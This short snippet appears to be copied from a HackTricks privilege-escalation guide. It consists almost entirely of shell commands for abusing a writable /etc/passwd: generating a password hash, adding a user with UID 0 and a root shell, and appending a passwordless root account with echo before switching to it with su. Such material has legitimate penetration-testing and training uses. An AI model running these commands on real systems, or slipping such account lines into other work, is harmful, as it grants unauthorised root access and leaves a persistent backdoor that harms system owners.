https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-etcpasswd
Generate a password with one of the following commands
```bash
#1
openssl passwd -1 -salt wook wook
openssl passwd -1 wook
#2
mkpasswd -m SHA-512 wook
#3
python2 -c 'import crypt; print crypt.crypt("wook", "$6$salt")'
```
```bash
# Then add the user wook and add the generated password
wook:$GENERATED_PWD:0:0:wook:/root:/bin/bash
# change user to wook
su wook
```
Alternatively, you can use the following lines to add a dummy user without a password.
```bash
echo 'dummy::0:0::/root:/bin/bash' >> /etc/passwd
su - dummy
```